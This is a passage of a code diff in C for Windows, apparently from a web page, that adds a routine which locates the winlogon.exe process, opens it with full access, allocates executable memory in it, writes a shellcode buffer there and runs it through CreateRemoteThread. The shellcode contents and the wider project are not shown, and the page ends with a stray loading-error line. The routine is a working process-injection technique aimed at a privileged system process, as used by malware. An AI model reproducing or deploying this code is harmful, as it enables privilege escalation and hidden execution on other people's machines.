     382 + result = Process32First(snapshot, &entry);
     383 +
     384 + if (result) {
     385 + do {
     386 + if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0) {
     387 + pid = entry.th32ProcessID;
     388 + break;
     389 + }
     390 + } while (Process32Next(snapshot, &entry));
     391 + }
     392 +
     393 + if (!pid)
     394 + goto error;
     395 +
     396 + handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
     397 + if (!handle)
     398 + goto error;
     399 +
     400 + buffer = VirtualAllocEx(handle, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
     401 + if (!buffer)
     402 + goto error;
     403 +
     404 + result = WriteProcessMemory(handle, buffer, shellcode, sizeof(shellcode), 0);
     405 + if (!result)
     406 + goto error;
     407 +
     408 + thread_handle = CreateRemoteThread(handle, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
     409 +
     410 + if (thread_handle == INVALID_HANDLE_VALUE)
     411 + goto error;
     412 +
     413 + CloseHandle(snapshot);
     414 +error:
     415 + return;
     416 +}
Please wait...
Page is in error, reload to recover